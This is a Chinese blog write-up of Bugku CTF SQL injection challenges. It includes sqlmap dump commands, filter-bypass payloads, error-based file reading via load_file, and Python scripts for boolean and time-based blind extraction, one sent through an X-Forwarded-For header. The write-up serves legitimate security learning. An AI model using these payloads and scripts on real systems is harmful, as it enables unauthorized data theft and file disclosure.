SQL注入题目合集
这是一个神奇的登陆框
传送门
在用户名的后面加一个\可以看到报错,应该是能够报错注入或者联合查询之类的
但是最近学到了一些骚套路,先来看看sqlmap
sqlmap
直接burp抓包另存为一个txt
使用如下命令1
2
3
4sqlmap -r "new.txt" -p admin_name --dbs //爆数据库,注入点为admin_name
sqlmap -r "new.txt" -D bugkusql1 -p admin_name --tables //爆表
sqlmap -r "new.txt" -D bugkusql1 -T flag1 -p admin_name --columns //爆字段
sqlmap -r "new.txt" -D bugkusql1 -T flag1 -C flag1 -p admin_name --dump //爆数据
不得不承认sqlmap真的强大
手动注入
开始猜想的可能是报错注入,后来发现竟然是有回显的
这题目就奇怪在用的是双引号”来进行分割
其它直接正常爆就行了
login1
传送门
原理见SQL约束攻击
注册一个admin xx
则可以用它的密码登陆admin了,但是注意空格要足够多,达到截断的目的
比较新颖的一个题目
longin3
传送门
布尔盲注,过滤等于时候的一个小trick,用<>,或者>加上^来进行注入
这里还有个小trick,我们并不需要查找到password的表,因为后台的逻辑可能是这样1
select username from admin where usernam = ''
所以我们可以直接理由^和admin做异或,脚本如下,这里用的>绕过=1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16import requests
url = 'http://47.93.190.246:49167/index.php'
s = requests.Session()
result = ''
for i in range(1,33):
for j in range(48,123):
payload = "admin'^(ascii(mid((password)from(%d)))>%d)#" % (i, j)
print(payload)
data = {"username": payload, "password": "123"}
r = s.post(url, data=data)
r.encoding = 'utf-8'
if r.text.find('error') != -1:
result += chr(j)
#print(result)
break
print(result)
MD5查询一下,然后登陆admingetflag
sql注入
传送门
基础题目,宽字节注入
在网页源码中可以看到gb2312,猜想宽字节注入(实际上来fuzz的时候就直接测试了
没什么特别的,不做赘述了,算是一种常见姿势
sql注入1
传送门
可以看到进行了黑名单过滤,无非就是绕过了
大小写是不行的,发现可以00截断(我也不知道这么叫对不对,大概这么个意思吧
上个payload1
id=-1%20uni%00on%20se%00lect%201,database()%20%23
然后常规做法就行了
发现bugku的这些题目大多只涉及一个知识点,算是基础题目
多次
传送门
看到ID,先fuzz一下
一个单引号报错,%23闭合以后正常
用异或这个套路进行过滤检测,有两种套路,一种是注释闭合,一种是两个单引号,两个^闭合1
2id=1%27^(0)%23
id=1%27^(0)^%27
当括号中的值为真时页面会报错,则可以构造测试语句
比如判断union是否被过滤1
id=1%27^(length(%27union%27))%23
返回的是id=1的界面,代表length(‘union’)返回值为0,union已经被过滤了,select也被过滤了
然后可以双写绕过,有意思的是,flag并不对,想到题干说有两个flag,又翻了翻
找到下一个网站的Payload1
http://120.24.86.145:9004/1ndex.php?id=-1%27 ununionion seselectlect 1,address from flag1%23
后半部分的入口
可以当作一个布尔注入用脚本跑,也可以用报错注入
bool注入
贴一个我写的很丑的脚本,不过效率还是蛮高的,二分查找1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28import requests
head = 'http://120.24.86.145:9004/Once_More.php?id='
payload = ''
index = ''
s = ''
for n in range(200):
left = 32
right = 127
while left<=right:
i = (left+right)//2
payload = 'a\' or (ASCII(MID((SELECT flag2 FROM flag2), ' + str(n) + ', 1))) < ' + str(i) + ' %23'
index = head + payload
r = requests.get(index)
r.encoding = 'utf-8'
if r.text.find('Hello')!=-1:#小于返回1
right = i-1
else:
payload = 'a\' or (ASCII(MID((SELECT flag2 FROM flag2), ' + str(n) + ', 1))) > ' + str(i) + ' %23'
index = head +payload
r = requests.get(index)
r.encoding = 'utf-8'
if r.text.find('Hello') != -1: # 大于返回1
left = i+1
else: #相等
s=s+chr(i)
print(s)
break
address字段有一个./Have_Fun.php,打开看看
二维码扫描后看到提示
还有后续注入,有点崩溃
http://120.24.86.145:9004/ErWeiMa.php?game=1
但是注入了半天没有结果。。最后把之前查到的flag{Bugku-sql_6s-2i-4t-bug}全部换为小写后提交又正确了
原因应该是LEFT,MID,RIGHT在比较的时候是不区分大小写的
但是不是很懂出题人留这个后续注入的意思,很迷,或许第二个flag是要把这个注入出来?有兴趣可以试试
报错注入
这里应该是可以报错注入的,可以尝试一下
这道题把我恶心到了,实在不想再倒回去研究报错注入了,等我期末考完有兴趣再贴上来
报错注入
传送门
过滤了空格,可以使用回车换行符还替代即%0a或%0d。
关于报错注入其实有很多东西,有一篇很好的文章
这里使用extractvalue()或者updatexml()进行报错,测试一条报错语句
?id=1%0aand%0aupdatexml(1,concat(0x7e,(select%0a@@version),0x7e),1)
成功报错,那之后就是读取文件了
load_file函数可以读取文件,但是一定要注意读取文件要进行hex编码,不然读不出来
又因为extractvalue()有长度限制,最长为32位,所以我们需要使用substr()对hex()过的文件内容进行分割
?id=1%0aand%0a(extractvalue(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),1,30))),0x7e)
反复更改substr的值就能读取整个文件了
INSERT INTO注入
传送门
直接给出了源码,简单的白盒代码审计1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
XFF可以注入,过滤了’,’
时间盲注,两个trick
逗号过滤的情况下可以使用1
select case when xxx then xxx else xxx end
substr的逗号可以用如下姿势
from x for 1
最终可以构造如下payload,注意末尾多一个括号闭合之前的括号
127.0.0.1'+(select case when (substring((select flag from flag) from {0} for 1)='{1}') then sleep(5) else 1 end)) #
上一个最终的注入脚本1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19import requests
import string
mystring = string.ascii_letters+string.digits
url='http://120.24.86.145:8002/web15/'
data = "127.0.0.1'+(select case when (substring((select flag from flag) from {0} for 1)='{1}') then sleep(5) else 1 end)) #"
flag = ''
for i in range(1,35):
for j in mystring:
try:
headers = {'x-forwarded-for':data.format(str(i),j)}
res = requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout:
flag += j
print(flag)
break
print(flag)
这里是用的一位dalao的脚本。。。
因为看了大佬的脚本才知道自己的写得是有多丑,就不把自己的放上来了
放上来供大家学习
上面算是sql注入题目的一个合集,从union联合查询,到三种盲注(bool盲注,时间盲注,报错注入)都有很好的例子
总得来说算是质量不错的题目,收获还是很多
所以后续更新个Mysql注入总结吧(flag++
等我考完期末,毕业要紧毕业要紧